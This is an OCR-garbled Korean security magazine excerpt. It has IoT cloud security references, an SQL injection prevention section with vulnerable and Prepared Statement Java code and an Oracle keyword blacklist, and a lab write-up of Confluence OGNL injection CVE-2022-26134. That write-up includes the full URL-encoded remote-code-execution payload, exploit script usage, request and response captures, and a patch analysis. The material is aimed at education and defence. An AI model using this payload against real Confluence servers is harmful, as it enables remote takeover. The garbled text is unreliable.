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1) AWS (Amazon Web Services)
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2) Azure (Microsoft Azure)
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3) GCP (Google Cloud Platform)
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a. AWS

AWS 9] 49 X.509 certificate, AF&AF XA <1, Amazon Cognito, IAM, A2 S 59
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c. GCP
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https://www.n-ix.com/best—practices—ensure-iot—-cloud—-security/
https://www.techtarget.com/iotagenda/
https://www.iotforall.com/iot—cloud-convergence-security-guide

https://www.cloudflare.com/ko—kr/learning/security/glossary/iot—security/

AWS

https://pages.awscloud.com/rs/112-TZM-
766/images/loT_Security_Best_Practices_Guide_design_v3.1.pdf

https://docs.aws.amazon.com/ko_kr/iot/

https://aws.amazon.com/ko/iot-core/faqs/

Azure

https://docs.microsoft.com/ko-kr/azure/iot—fundamentals
https://docs.microsoft.com/ko—kr/azure/iot-edge/about—iot-edge?view=iotedge-2020-11
https://docs.microsoft.com/ko—kr/azure/architecture/reference—architectures/iot
https://docs.microsoft.com/ko—kr/azure/iot—hub
https://docs.microsoft.com/ko—kr/azure/defender—for—-iot/

https://docs.microsoft.com/en—us/security/benchmark/azure/baselines/iot—hub-security—
baseline

https://docs.microsoft.com/en—us/azure/role-based-access—control/

Google Cloud
https://cloud.google.com/iot—core
https://cloud.google.com/iot/docs/concepts/device-security

https://www.kcloudnews.co.kr
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SQL Injection < AAIE SQL F&olA AFEAF ¥E3k HFo] v
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74l 59 SQL Injection & AH HkTE SQL Injection FeFdo] &
dlolEjrol 2~ Hta 22 FZFo] 7hsshy] wol dloly F&, W, AHA 59 F
T AT

w}e}A o] Special Report 9lA1E SQL Injection & HeFRAS thZvh A -3k HolfAS
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B SQL Injection E.QF CljzH

SQL Injection H.¢F th# o] A& Prepared Statement & AMg3lo] AAFEE FASE
Zolt}. Prepared Statement & AFES 4= §le $Hdolgtd, AP o2 AMEA} =4 IHE
T AAE B3 AR d"9Fte]l SQL Rl dEeS wAA REImEE djof dhrh. Hot
ol gisk M Ade oSy 2

1) Prepared Statement A}-&

Prepared Statement © SQL Injection & ®olst= A9 HeF tfFoly SQL o] 1l
A9 Ho] gQlo] JHEE WMIFE MAds Fi e wet e diddste] Aeke
1w o]t}

» Statement vs Prepared Statement

SELECT ¥& DBMS W3 # o= 4 @A ¢ A (Parse, Bind, Execute, Fetch)& A A%=
=93t 53] i #4428 parse HHS AXWH Sy £ v Er A

infosec
SELECT * FROM MEMBER WHERE ID = ‘admin’
SELECT SELECT_LIST FROM TABLE_LIST WHERE WHERE_COND
|
I I | | |
IDENTIFIER IDENTIFIER IDENTIFIER = LITERAL

I I I
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Aol Statement ¢ A, TE EX(parse)FH AEF(fetch)7HA] EE HAHS v
stoh, mebA] dE kel SQL el FdS v A= SFa Ay defort Eoid Ag-
s

ME 4 12
LA e

Ao A SQL 752 dF -2 2Z83le] SQL Injection 324 °] 7}s3dhtt.

parse . bind _, execute _ fetch
(2 24 (xlgh) () (2lE)
12w AN %S 21z wot EEETIY E20|4
2.9/0] At HAZ Mol =R I3t tlo|E| £
3.8 A H{THOY| = At
4, 23 A=
[Statement]

Prepared Statement ¢ 7%, 7% A (parse) #AS Hx 1 30k F3)dte] AAHYE 2=
Hxg o #4s] Zod wnich ARgsith v FAE 9 EdE
o] Statement ° M]3 A|ZFS @5 4 Qv S SQL 0] v
S W52 AAd ks digste] AMgstth oebA o5 =€zt
il

n A EFEAL dekolr} JeEEolm Bl oz 2gat4] Rl
infosec

%% 13|

h Prepared Statement
parse bind execute fetch
(rEEM) T mm @ T (e
1.2 M US U Wot ClAZ0M =SE0M
2.2|0| HAt Ha2 M =SES 0N Ast=HIo|H F&
3. AT AL HIHo]| = A
4. 248 A=

[Prepared Statement]
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SQL Injection &2l kst Statement ¢} 23t Prepared Statement & FAEH AAFTE

hgat 2o

o gulA Q) Statement ZE (3 2F)

Connection conn = null;
Statement stmt = null;

ResultSet rs = null;

stmt = conn.createStatement();

rs = stmt.executeQuery(sql);

String sql = "SELECT * FROM MEMBER WHERE ID = " +param_id+"* AND PW = ""+param_ passwd+""";

A2 = zkel ofolt) et A= webw|E]¢l param_id, param_passwd © SQL Injection
2o 7}ssit

» Prepared Statement ZE (%3)

String param_id=request.getParameter("id");

String param_passwd=request.getParameter("passwd");

Connection conn = null;
PreparedStatement pstmt = null;

ResultSet rs = null;

pstmt.setString(1, param_id);
pstmt.setString(2, param_passwd);

rs = pstmt.executeQuery(sql);

String sql = "SELECT * FROM MEMBER WHERE ID = ? AND PW = ?";
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th27] wEel Fo)7 B8 sirh

of A Tbsdel slE dope] 2
ol ool % KA

)
o8}
=
%
e
i
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obehe] i Oracle Holjmlol ALg A BEFY djok & EALol,

DBMS ¥z ¥4 ARgE= £A9o] t=27] wjito] Al W&

A},

L] 5{"

2

E
=x=3

s42R)

e
oS

(IR L))

G|ofEf ZA4

UNION
SQL Injection

Error Based
SQL Injection

Blind
SQL Injection

infosec

e 2AHE

0 ( )

AND OR SELECT
SET INSERT INTO
ALL_TABLES

USER_TABLES

UNION

UTL_INADDER.GET_HOST_NAME

ORDSYS.ORD_DICOM
GETMAPPINGXPATH

SUBSTR AsCll

[Black List Filter ¥x< o A](Oracle)]

3) o] HAIA =7 At

A7 o3 Tpsel 9t
Zlo] Jpssteh. webA Default dle] HAA7E okd Abael
dAlslor @k m@, e o

BRI} =29 A REF SfoF gt

= wAAZE mEd

/l l'/ %
FROM  WHERE  UPDATE
DELETE  DROP JOIN
TABLE_NAME

COLUMN_NAME

ORDER BY

UTL_INADDER.GET_HOST_ADDRESS

CTXSYS.DRITHSX.SN

z-371: https://pentestmonkey.net/category/cheat-sheet/sql-injection

| A A]

+ - /
CASE WHEN THEN
ELSE END IF

ALL_TAB_COLUMNS

NULL
GROUP BY

UTL_INADDER.GET_HOST_NAME

< vl ¥4

Ll

Y
Rl

o
o
)

7% Error Based SQL Injection ¥}
Aost o oA E

2 A AnAElA

A A 5}
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B Prepared Statement Al A| Fol|gt A

Prepared Statement & AM&-3ttba siA] F-%7 SQL Injection o ¢FA&}x] &= ¥t} WA
vy A el E T 9 dEHate] oA gu|E A FEsE FASE Aol st

SELECT o] A8x+= 4 A

A B4 ZF bind(X ) AN JHFHRS A2k Wl whet
SQL Injection o FH ke 4 3}

A
t}.
Case 1 & d¥#= vy 2z daitol &4

Injection F7°] 7H53tth. Case 23 S il Aol BUAL 242 48317
7] wiel sl &7 sttt

infosec
g - N - oowme -
Casel SELECT * FROM MEMBER WHERE ID = ‘param_id’ ;
Case 2 SELECT * FROM MEMBER WHERE ID = 25

[Prepared Statement AF8- Al =&k A2 o Al]
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Case 1) # 93} Prepared Statement

String param_id=request.getParameter("id");

String param_passwd=request.getParameter("passwd");
Connection conn = null;
PreparedStatement pstmt = null;

ResultSet rs = null;

String sql = "SELECT * FROM MEMBER WHERE ID = '"+param_id+"' AND PW = ""+param_ passwd +"*";

rs = pstmt.executeQuery();

Prepared Statement = AAPAIRE, «F dHZES vidY  AHe|sH#] o} param_id,
param_passwd Z#Fn gl o] SQL Injection &2A0o] 7}%38}c}.

Ol

Case 2) ¢HA 3 Prepared Statement

String param_id=request.getParameter("id");

String param_passwd=request.getParameter("passwd");

Connection conn = null;
PreparedStatement pstmt = null;

ResultSet rs = null;

String sql = "SELECT * FROM MEMBER WHERE ID = ? AND PW = ?;
pstmt.setString(1, param_id);
pstmt.setString(2, param_passwd);

rs = pstmt.executeQuery(sql);

=

=

Prepared Statement & A3, 25 AHGES vleld A 2lsle] setString 3 £ WA=
Za g=Euty givk webA wg AgdE SR R ezte] WERE Eol7t SQL HE
dekS v XA 7] wto] SQL Injection &4 °] &7}538lt}.

« vpele ® dlolEl= SQL R el otd Aud <dojz AeH 7] wiZe] AL onE 7 S glvh

o]21¥ Prepared Statement = A}&38 u nloly a2 1% ow SQL Injection o 3 2F3h
A el vy AEE Fal 9N fdEEke]l e 4 (parse)
SACA A A FEFEHAQ] oS A FeF) A Aol T asith
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o
-4

Prepared Statement AF& A], SQL Injection ] ¢+d3F =237

Preparec)l\ :Etlatement — Qs Ql12izH AR _N’

Iy

ol gt Y

Habe e e 2,

infosec

ok

A

HrelL! xz2|
In

L s EX)

5

[Prepared Statement AF& A &% A4
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A= 7k4] SQL Injection ¢ 3 324
AbEE AHE Aol vEE AS-
7bhsste] 8 X 7%, doly Wz % A
SQL Injection ¢ 7Fg <Al HoF gixe 4
Statement & AF&3sto] &F d=Hgke] #WA uE

Aot ERAHMI=UA 24 4 LAmE FAo] EBriyd A
AP S 4835t 5 Hett Ao uet tf-g-foF 3t

olojx]= Tt FHekFda S7] ulA

)

il
ol ~aHEE AT F = 342 XSS(Cross Site Script)ell tigh &< thEth.
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Research & Technique

Confluence Server %! Data Center

ADE AW FAUH (CVE-2022-26134)

m 2% e
2022 | 6 4 2 <, S v A AA B2 Vel AbEsks Z2AE #E 2
AIZE QI Altlass1an it¢] Confluence AlFolA dAFTE A3 FHoFHo] LAEI

FoFek Mo AWE AMgstal S AF AFHA Fe FAARIE HTTP 2% AE A
olo]z ol OGNL' Ho]|2=Z HEdle] oo m=E Ags = de= FHFHoz OGNL
Injection 2 2 & <l3] Azt FAo AFTT A TAAE AF glo] U9 wHHS
APstar A E Aojd = o] CVSS A4 9.8 Aoz Hrlw .

oIl lge] F7H¥ Confluence AW+ Shodan ¥ #& OSINT A AXES Fa& A A
AHRE 2 F o] FHekgk AW & AFE AT 5 ok E=3 HF @ 24 =
A FER Z8H= AbEZE 9ol FHekd wdel Confluence AMBlE AR&shar glvkd

Fol7} Basi.

! OGNL(Object-Graph Navigation Language) Java 7iH|2] &4 7tMem HHs7| Qo QEAA BY

I'Q

0{0|C}. Java 7|9

U ofE2|AH oMo =2 AMBE|M, Apache Struts2, Mybatis, Confluence S0lA At&3stD QUL

B

2 OGNL Injection 2 OGNL EHA2 S8 SHA7} Yolo| AEE FYUY £ Us 34 Yyolct
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m g

ook

e AmEoof B

CVE-2022-26134 °ll # gt AZESol= th53 )

S/W T 3o HiH

13.0 ~74.16
7.13.0 ~ 7137
Confluence Server 7140 ~ 7143
e 7.15.0 ~ 7.15.1
Data Center 7.16.0 ~ 7.16.3
7170 ~ 7174

7.18.0
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DA AlL}R|R

CVE-2022-26134 & o]&3%t ¥4 Alygles &3

#|2Fst Confluence MH

() 220wz

@55

infosec

\/
QL[ —
3ok gt
A
48
&
CVE-2022-26134
\
L ] /\
4%t TOP LR HIESHZ
SECRET @
ZQ M Eb|
[323 Ayge]
O FAA= HFe M7 Confluence AH &4
@ FAAR= CVE-2022-26134 FHFHS o] &l Ao 97 W= 23y
@ FAA = Mro]/Ad AR, oldm= w A Yo] v
@ FAA= FsAF PC o] Alojd 5, 8 AR &3 & 34 79
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m EAE 2td 1 HH
2 AE AuE
I e
Ubuntu 18.04
| S K} Atlassian Confluence 7.13.6
(192.168.0.129:8090)
DA% Kali Linux
(192.168.0.131)
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Step 1. 87 A4
step 1) ¥ &+ PC ol CVE-2022-26134 FFHd o] &=A3t+= Confluence AW E G-F 3t}
otef o] HAE Faste] =A = HA Jhssitt

« URL : https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134

eqst@insight:~$ sudo docker-compose up -d

(&4 7401

step 2) &A% PC oA Fa# PC ¢ Confluence A 9}(192.168.0.129:8090)¢1 H 3k,
ofgl ¢} o] CVE-2022-26134 F<FHel EAgh= 7.13.6 M AWE &2 4= 9
Log In - Confluence e +

o

O & 192.168.0.129 90% Y

& Confluence

Log in

Username

Password

Remember me

m Forgot your password?

EVALUATION LICENSE Are you enjoying Confluence? Please consider purchasing it today.

Cestina Dansk - Deutsch Eesti English (UK) - English {US) - Espanol - Francais - Islenska - [taliano Magya
Nederlands Morsk - Polski - Portugues - Roméana - Slovencina - Suomi Swvenska - Pycckwn - B3 - BEEE

Powered :-_.-'Ié-.tassie" Confluence ?.1:—-.6' - Report a bug - Atlassian News

A ATLASSIAN

(&3 T74(@)]
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Step 2. PoC HIZE
CVE-2022-26134 # oA HIAEZE 93 PoC 7} AA&H github URL & t}&-a} ),

« URL : https://github.com/h3vOx/CVE-2022-26134

step 1) git clone W#E]E o]&3] CVE-2022-26134 PoC 7} A& git ¢ Hd&
o}e- 2 =3k},

clone https:
Cloning into 'CVE-2
remote:
remote: Counting objects: 1

remote: Compressing objects ' ), done.
remote: Total 45 (delta 12), reusc 3 (delta @), pack-reused @

Receiving objects: 1 ' '45), 12.71 KiB | 2.54 MiB/s, done.

Resolving deltas: 1

[git clone]

step 2) oF#le] HEHo]E o] &3] PoC Al exploit.py & A &3},

‘ $ python3 exploit.py —u [Confluence AW FAa] -c [HEH]]
o —u A ——url & =8k ERAle] H = FHeksk M A9 Confluence AW 4 A4
E

of 49

¢ ¢ FA: ——emd & EFY AN AT

step 3) A8 Az}, FAA PC oA 43 AA HHd oist A3 488 AS 1 5
Atk = ¥8AF PC 9] Confluence AWl A Adlto] gl FAATE dA0A HHE

Aasto] e ARE gld 4

22 5 AbgAo] tigh user, group AHE EH id WHS 233 A2 &t
PC 9] Confluence AW ¢ AR} 83 AS & 4 9

92.168.0.129:8090 -c id

[-]1 CVE-2
[-] Conflu Remote Code Execution via OGNL Injection

f uid=2002(confluence) gid=2002(confluence)

(¥4 #9 id 489 23]

EQST insight | 30



[e}ife)

e AW} 2R

ot & vd AHE 938 Is —al HHS £33 4
Confluence A9 BE 3d ARV =84 S & 4
~[~/CVE-2022-26134 |

exploit.py f

http

32 987 pC o

-Auth Remote

(973 33 |s -al 43 A3}]
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|2 SM 24

A

Step 1. PoC #4

FoFx HAEe A8E PoC 3hdolA CVE-2022-26134 S fridsts =
7tk CVE-2022-26134 FHeFdo] &£A413t= Confluence MM F4i9 97 oﬂ

2 rlr

H#ols 94¥3sd PoC W9 o4 wHolz=9 974 HTTP 8302 Afdt)

O

xS

o2 o

def spiderXpl(url):
globals().update(locals())
if not url.startswith('http'):
url="http://"+url

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 1@.0; Winé4; x64) ApplelebKit/537.36
(KHTML, like Gecko) Chrome/70.8.3538.77 Safari/537.36",

"Connection": "close",

"Accept-Encoding": "gzip, deflate"}

try:
response = requests.get(url + '/%24%7B%28%23a%3D%4@0rg.apache.commons.io.
IoUtils¥%4etoString%28%4ejava.lang.Runtime%40getRuntime?%28%29.exac%28%22 " +optionsOpt.
command+'%22%29.getInputStream¥%28%29%2C%22utf-8%22%29%29 .%28%48com. opensymphony .
webwork.ServletActionContext%48getResponse’28%29.
setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ "', headers=headers, verify=False,
allow_redirects=False)
if(response.status_code == 362):
print('Found: "+url+' // '+ response.headers['X-Cmd-Response’'])
[PoC #H(D)]
HTTP ddE T3l 843 W st %S X-Cmd-Response 3H<e o=z &9

Z - /\/\

T

AAFER ?L“ﬂoi E‘r.

if(response.status_code == 382):
print('Found: '+url+' // '+ response.headers['X-Cmd-Response’])

[PoC 32 (2)]

PoC We] o} #ojzx=ql URI 1a9E #s Ha2dd Zdapek g2 v 2o

© /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().

@ exec("' optionsOpt.command '").getInputStream(),"utf-8")).(@com.opensymphony.
© webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response”,#a))}/

[&Hg do|2=E 3y ZAF]

(EA=

3i
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: : T = - =] — = =
@ java.lang.Runtime Z# == PHAE A3t exec T T
= S I:l fe) [e]
@ exec ¥TE Tl TAARSH 49 e HHo ’“53
o= 5 < 5. ©
@ setHeader() $t= A3 X-Cmd-Response FEE 3 W& ozt %
=9
[e] =) v = [e) = =] =] =] © o
Proxy Tool & &3l w20l AM&H o #Hol2=d id HE s F7iete] 8PS W &%
- [e)
[ send & <|v Follow redirection Target: http/192.168.0.129:8090 /7 HTTPL (3)
= =
Request Response @
Raw Hex n = Pretty Raw Hex \n = —
1 _GET 1 HTTP/1.1 302
S%245%TB%28%23a%30%400rg. apache. commons. 10. I0Ut1ls%40 2 Cache-Control: no-store >
toSt ring%28%40java. Lang. Runt ime%40getRunt ime%28%29. e 3 Expires: Thu, 01 Jan 1970 00:00: 00 GMT w
x2c%28%221d%22%29. getInput St ream%28%29%2C%22ut f -8%22 4 X-Confluence-Request-Time: 1663152729814 l'-l'il
%29%29.%28%40com. opensymphony. webwork. ServletActionC 5 X-XSS-Protection: 1; mode=block 0O
ontext%40getResponse%28%29. setHeader%28%22X-Cmd-Resp & X-Content-Type-Options: nosniff a
onse%22%20%23a%29%29%7D/ HTTP/1.1 7 X-Frame-Options: SAMEORIGIN ]
2 T 10] 8 _ 1ty . _ ' '
3 Upgrade Insecure -Requests: 1 X-Cmd-Response: uid=2002(confluence)
4 User-Agent: Mozilla/S.0 (Windows NT 10.0; Win&4; gid=2002(confluence) groups=2002(confluence), 0( root)
x64) AppleWebKit/537.36 (KHTML, like Gecko)

EESCIEEY

HTTP 8% 3dldol] fdAdA A3t Wgo]E F71ste] obAd o
Response &lt]o] &AA7F @A Hedo] 3t o] Yeus AL 2 = 9
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Step 2. I T3 ¥
CVE-2022-26134 3 <FA

=
49 9Ee s ool

EE s

[-'0
H,
o,
il

o) ~Z29 ¥ 44E 21 $AF A%, UR o 9
o

= (${rce_payload}/)7} AUEHAES we

step 1)

step 2)

step 3)

step 4)

http://192.168.0.129:8090/%{rce_payload}/

ServletDispatcher

ActionChainResult

i Hopy w gol
TextParseUtil

OgnlValueStack

OgnlUtil

=)

e

(&

22U A WES vs 2o

step 1) ServletDispatcher

WA ServletDispatcher Z#2~9] getNamespaceFromServletPath ©f ¢J3] URI m}x2
ZHYAI(/) ol A9 EALES AET

public static String getNamespaceFromServletPath(String servletPath) {

|servletPath = servletPath.substring(e, servletPath.lastIndexof(”/"ﬂ);

return servletPath;

[ServletDispatcher]

EQST insight | 34



utebA CVE-2022-26134 F<Fxlo] &2317] 93]

A &

ZAANE EABNF Bk A
ol e A ute] ZejAl7t A w FHol

e CE L QEED R
Fol we FHepd B4 Ad: ved go
2 A 2 5 g

© Cancel < v

Request

Pretty Raw Hex

8 » =
GET

/%24%7B%268%23a%30%400rg. apache. commons. 1o0. I0OUt1ls%40
toSt ring%28%40j ava. Lang. Runt ime%40getRunt ime%28%29. &
xec%28%221d%22%29. get Input St reans28%29%2C%22ut f -8%22
%29%29. %28%40com. opensymphony. webwork. ServletActionC
ontext%40getResponse%28%29. setHeader%28%22X -Cmd-Resp
onse%22%20%23a%25%29%70/ HTTP/1. 1
Z Host: . o, g
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4,
x64) AppleWebKit/S37.36 (KHTML, like Gecko)
Chrome/105. 0. 5195. 102 Safari/537.36
5 Accept:
text /html, application/xhtml+xml, application/xml; =0,
9, image/avif, image/webp, image/apng, */*, ¢=0. 8, applica
tion/signed-exchange; v=b3; ¢=0.9

Follow redirection

HTTP/1.1 302

11

Target: http2//192.168.0.129:8090 59

Hex  Rende B n =

HTTP/1

@ O

Response

Pretty Raw

Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request -Time: 1663156566872
Set-Cookie: JSESSIONID=
B99CASCES3BAZEO3EES112F904286778; Path=/; HttpOnly
X-XS5-Protection: 1; mode=block

7 X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Contant Sacurid Pals

(4] W s wmn -
HOLO3dSNI

0

frome-oncastops '=alfl

o X-Cmd-Response: ulid=2002(confluence)
gid=2002( confluence) groups=2002(confluence), 0( root)

Location:
/login. action?os_dest inat iorm%2F%24%76%28%23a%30%400
rg. apache. commons. io. IOUt1ls%40toSt ring%28%40java. la

[EHAE BYs

hll

| send Q]

Request

Pretty Raw Hex

8 » =
1| ceT

/%24%7B%28%23a%30%400rg. apache. commons. 10, I0Utils%40
toSt ring%28%40j ava. lang. Runt ime%40getRunt ime%28%29.
xec%28%221d%22%29. get Input St ream%28%29%2C%22ut  -8%22
%29%29. %28%40com. opensymphony. webwork. ServletActionC
ontext%40getResponse%28%29. setHeader%28%22X-Cmd-Resp
onse%22%20%23a%29%29%70 HTTP/1.1
2 Host: 192 I68.0. 129 B0S0
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4,
x64) AppleNebKit/537.36 (KHTML, like Gecko)
Chrome/105. 0.5195. 102 Safari/537.36

Follow redirection

Target: http:/192.168.0.129:8090 59

a-= -
8 » =

HTTP/1

@ ©

Response

Raw Hex Rende

HTTP/1.1 302

Cache-Control: no-store

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Set -Cookie: JSESSIONID=
T7B3AF59150702950807029ADF31F1CY; Path=/; HttpOnly
X-XS5-Protection: 1; mode=block

. X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

W

]
HO1D23dSNI

m

%

S toration
/login. action?os_destinat iore%2F%2524%257B%2528%2523
#%2530%25400rg. apache. commons. 1o, I0Uti1ls%2540toStrin

[SAA7F EATHA S B5]
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step 2) ActionChainResult

ServletDispatcher & + ActionChainResult & < &3t} o] WA A wx]at &g A

RS =

o] e Holmr = 9#/‘3 ﬂ] o] 2 =7} namespace o ©31t}

public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionMame = TextParseUtil.translateVariables(this.actionName, stack);

[ActionChainResult]

namespace += UF&3 o] Ao o= OGNL F&Fo|t},

/(#a:@or‘g .apache.commons.io.I0Utils@toString(@java.lang.Runtime@getRuntime().exec("id").

getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().
setHeader("X-Cmd-Response”,#a) )

[namespace %]

step 3) TextParseUtil

o] = TextParseUtil =i Eaydt S=F} CVE-2022-26134 = o] e
translateVariables $FrFoll A4 findValue Zkoll <l&] A3 FHoFdo] WA3= A HA
L elo]t}. translateVariables €<% namespace ¢ FAE S A A3 Helo] urx AZ3o}

public class TextParseUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();

Pattern p = Pattern.compile("\\&\\{([*}]1*)\\}");
Matcher m = p.matcher(expression);

int previous = @;
while (m.find()}) {
String strl, g = m.group(1); | e 2xE 22 findValueZ 245 HE
int start = m.start()};
try {
|Object o = stack.findValue(g); |
strl = (o == null) ? "" : o.toString();

1 ratrh (Fyrention ionaraed) £

[TextParseUtil ]

1O namespace 9 Ao Wi Y AHAAE Al FET AAE ExlGo] FEofA
A7ds HE] "WWEWWA[H DWW S ${-- 1S E3star Qlex] dwksioh
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e HAF A3 OGNL E&2]o] 99 dield} AAsle] =1 ko] findValue = HAEH ),

/(#a:@or‘g .apache.commons.io.I0Utils@toString(@java.lang.Runtime@getRuntime().exec("id").
getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().
setHeader("X-Cmd-Response”,#a) )

AL 237 ot Hol== gho] stepl~step3 & AA AEEH= AAHS v 2o
step 1 step 2
http://192.168.0.129:8090 - TextParseUtil 2 &
${rce_payload}/ ${rce_payload) (ZXHE EAh
lT
[23 URI] [namespace]

step 3

${rce_payload}

[findValue]

[eH sol2= A #AA]

http://% 23+ Confluence AM¥ F4/${rce_payload}/ & A o /${rce_payload}/ ¢
wAFE o] namespace © ®©A TextParseUtil Fdl29 A4 HES HA:E 5
s =3t H g AXxE 9 namespace o] 97 3 findValue oz AEE ),

step 4) OgnlValueStack

o]% F =4+ OgnlValueStack ©llA] findValue #<¢l OGNL %o 3t EAJo] zax
97 "ol w7l o] F2ste] OGNL Injection ©] 7}Fs3hAl ).

public ObjectStPing expr) {
try {

if (expr == null)
return null;

if (this.overrides != null && this.overrides.containsKey(expr))
expr = (String)this.overrides.get(expr);

if (this.defaultType != null)
return findValue(expr, this.defaultType);

|return Ognl.getValue(OgnlUtil.compile(expr)|, this.context, this.root);

[OgnlValueStack]
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Step 3. FFd A

Atalssian TJroﬂﬁ 1323 CVE-2022-26134 o o3k 3f % oo
7)1 A7} Q= xwork-1.0.3-atlassian-10.jar FL4S Eaf &elsk 4= Ut}

this.namespace & %3 TextParseUtil Z#~E T3 ActionChainResult Z# 29 1%

o]},

— - —
46 47 public void execute(ActionInvocation invocation) throws
47 public void execute(ActionInvocation inveocation) throws Exception {
Exception { 48 if (this.namespace == null)

48 if (this.namespace == null) 49 this.namespace = invocation.getProxy().getNamespace();
49 this.namespace = invocation.getProxy().getNamespace(); 50
56 = OgnlvalueStack stack =

ActionContext.getContext().getValueStack(); 51 # String finalNamespace = this.namespace;
51 =% String finalNamespace = 52 # String finalActionName = this.actionName;

TextParseUtil.translateVariables(this.namespace, stack); 53 if (isInChainHistory(finalNamespace, finalActionName))
52 # String finalActionName = 54 throw new XworkException("infinite recursion detected");

TextParseUtil.translateVariables(this.actionName, stack); 55 addToHistory(finalNamespace, finalActionName);
53 if (isInChainHistory(finalNamespace, finalActionName)) 56 * HashMap<Object, Object> extraContext = new HashMap<>();
54 throw new XworkException("infinite recursion 57

detected"); extraContext.put("com.opensymphony.xwork.util.OgnlValueStac

55 addToHistory(finalNamespace, finalActionName); k.ValueStack", ActionContext.getContext().getValueStack());
56 = HashMap<Object, Object> extraContext = new 58

HashMap<Object, Object>(); extraContext.put("com. opensymphony xwork.ActionContext.para
£ M Actione P AncfNN.

[ActionChainResult E#2 X WIH/F)]

=] o] M3} o] F5 M B findValue Froll Wt HSo] F7Hd S AT 5 Aot
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionMame = TextParselUtil.translateVariables(this.actionName, stack);

[ActionChainResult S# 2 3|x] o]AH]

public wvoid execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();

String finallNamespace = this.namespace;

String finalActionName = this.actionName;

[ActionChainResult E# 2 3|x] o]F]

WA namespace 9 #to] TextParseUtil F#| 22| translateVariables & HE% = A0
AL Qity. T3 translateVariables $4E AFESEA] @31 finalNamespace 9}
finalActionName ¥W45 MAAsE AL = 4 ok webs CVE-2022-26134 F k4 9]
Yelo] ¥AQW translateVariables &7} &5 A &=
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OgnlValueStack Z#d 2o 3t Z =%

el o] E= A

88 public Object findvalue(String expr) { 88 public Object findvalue(String expr) {

89 try { 89 try {

EL] if (expr == null) L] if (expr == null)

91 return null; o1 return null;

92 92 if (!this.safeExpressionUtil.isSafeExpression(expr))

93 93 return null;

94 if (this.overrides != null && 94 if (this.overrides != null &&
this.overrides.containsKey(expr)) this.overrides.containsKey(expr))

95 expr = (String)this.overrides.get(expr); 95 expr = (String)this.overrides.get(expr);

96 if (this.defaultType != null) 96 if (this.defaultType != null)

[OgnlValueStack S =] WHA/F)]

S4d gele thes por] #4 ofFe meE wd chdsx @S OGNL EdAS
AArste] e el safeExpressionUtil Sei2~7F F7HdE AS & 5 Aot

public Object findValue(String expr, Class asType) {

try {
if (expr == null)
return null;
if (this.overrides != null &% this.overrides.containsKey(expr))
expr = (String)this.overrides.get(expr};
return Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root, asType);
} catch (OgnlException e) {
return null:
[OgnlValueStack &2 #X] o] A]
public Object findValue(String expr, Class asType) {
try {
if (expr == null)
return null;
if (!this.safeExpressionUtil.isSafeExpression(expr))
return null;
if (this.overrides != null &% this.overrides.containsKey(expr))
expr = (String)this.overrides.get(expr);
return Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root, asType);
} catch (OgnlException e) {
return null;

[OgnlValueStack Z#|A x| o]F]
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« URL: https://tanzu.vmware.com/security/cve—-2022-22978
« URL: https://github.com/spring—projects/spring—
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